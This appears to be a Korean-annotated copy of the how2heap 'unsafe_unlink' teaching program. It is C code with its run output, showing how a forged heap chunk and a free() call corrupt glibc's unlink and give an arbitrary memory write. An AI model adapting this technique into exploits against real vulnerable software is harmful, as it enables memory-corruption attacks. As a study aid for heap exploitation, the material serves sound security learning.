[How2Heap] unsafe_unlink

unsafe_unlink.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
fprintf(stderr, "unsafe unlink 2.0!\n");
fprintf(stderr, "테스트 환경: Ubuntu 14.04/16.04 64bit\n");
fprintf(stderr, "이 기법은 unlink를 호출할 수 있는 알려진 위치에 포인터가 있을 때 사용할 수 있다.\n");
fprintf(stderr, "대부분의 시나리오는 overflow를 할 수 있고 전역 포인터를 가지고 있는 취약한 버퍼다.\n");

int malloc_size = 0x80; // 우리는 fastbin을 사용하지 않을 정도로 커지고 싶다.
int header_size = 2;

fprintf(stderr, "이번 연습의 요점은 임의의 메모리를 쓰기 위해 free를 사용하여 global chunk0_ptr을 corrupt시키는 것이다.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "global chunk0_ptr: %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "corrupt할 victim chunk: %p\n\n", chunk1_ptr);

fprintf(stderr, "chunk0에 fake chunk를 생성한다.\n");
fprintf(stderr, "&chunk0_ptr 근처를 가리키도록 fake chunk의 next_free_chunk(fd)를 설정하여 P->fd->bk=P가 되게 한다.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "&chunk0_ptr 근처를 가리키도록 fake chunk의 previous_free_chunk(bk)를 설정하여 P->bk->fd=P가 되게 한다.\n");
fprintf(stderr, "이 설정을 통해서 우리는 체크를 통과할 수 있다: : (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

fprintf(stderr, "chunk0에 overflow가 발생한다고 가정한다면 우리는 chunk1의 metadata를 자유롭게 바꿀 수 있다.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "chunk0의 크기를 줄여서(chunk1에 previous_size가 저장된) free가 chunk0이 fake chunk에 위치한 곳에서 시작한다고 생각할 것이다.\n");
fprintf(stderr, "fake chunk가 정확히 알려진 포인터가 가리키는 곳에서 시작되고 그에 따라 chunk를 축소하는 것이 중요하다.\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "만약 우리가 일반적으로 free된 chunk0이 있다고 하면, chunk1.previous_size는 0x90이 될 것이다.\n"
"그러나 이것은 새로운 값이다: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "chunk1의 previous_in_use를 false로 설정하여 free로 fake chunk를 표시한다.\n\n");
chunk1_hdr[1] &= ~1;

fprintf(stderr, "이제 chunk1을 free해서 backward로 consolidate하면 fake chunk와 unlink될 것이고 chunk0_ptr을 overwrite한다\n");
fprintf(stderr, "unlink 매크로 소스는 해당 링크에서 찾을 수 있다.\n"
"https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

fprintf(stderr, "이 때, 우리는 chunk0_ptr을 임의의 위치를 가리키도록 overwrite해서 사용할 수 있다.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

fprintf(stderr, "chunk0_ptr은 이제 우리가 원하는 곳을 가리키고 있다. 이것은 victim문자열을 overwrite하는데 사용한다.\n");
fprintf(stderr, "원래 값: %s\n",victim_string);
puts("-------chunk0_ptr[0]=0x4141414142424242LL-------");
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "바뀐 값: %s\n",victim_string);
}
[unsafe_unlink.c]



unsafe unlink 2.0!
테스트 환경: Ubuntu 14.04/16.04 64bit
이 기법은 unlink를 호출할 수 있는 알려진 위치에 포인터가 있을 때 사용할 수 있다.
대부분의 시나리오는 overflow를 할 수 있고 전역 포인터를 가지고 있는 취약한 버퍼다.
이번 연습의 요점은 임의의 메모리를 쓰기 위해 free를 사용하여 global chunk0_ptr을 corrupt시키는 것이다.

global chunk0_ptr: 0x602070, pointing to 0x603010
corrupt할 victim chunk: 0x6030a0

chunk0에 fake chunk를 생성한다.
&chunk0_ptr 근처를 가리키도록 fake chunk의 next_free_chunk(fd)를 설정하여 P->fd->bk=P가 되게 한다.
&chunk0_ptr 근처를 가리키도록 fake chunk의 previous_free_chunk(bk)를 설정하여 P->bk->fd=P가 되게 한다.
이 설정을 통해서 우리는 체크를 통과할 수 있다: : (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk fd: 0x602058
Fake chunk bk: 0x602060

chunk0에 overflow가 발생한다고 가정한다면 우리는 chunk1의 metadata를 자유롭게 바꿀 수 있다.
chunk0의 크기를 줄여서(chunk1에 previous_size가 저장된) free가 chunk0이 fake chunk에 위치한 곳에서 시작한다고 생각할 것이다.
fake chunk가 정확히 알려진 포인터가 가리키는 곳에서 시작되고 그에 따라 chunk를 축소하는 것이 중요하다.
만약 우리가 일반적으로 free된 chunk0이 있다고 하면, chunk1.previous_size는 0x90이 될 것이다.
그러나 이것은 새로운 값이다: 0x80
chunk1의 previous_in_use를 false로 설정하여 free로 fake chunk를 표시한다.

이제 chunk1을 free해서 backward로 consolidate하면 fake chunk와 unlink될 것이고 chunk0_ptr을 overwrite한다

이 때, 우리는 chunk0_ptr을 임의의 위치를 가리키도록 overwrite해서 사용할 수 있다.
chunk0_ptr은 이제 우리가 원하는 곳을 가리키고 있다. 이것은 victim문자열을 overwrite하는데 사용한다.
원래 값: Hello!~
-------chunk0_ptr[0]=0x4141414142424242LL-------
바뀐 값: BBBBAAAA

Source

공유하기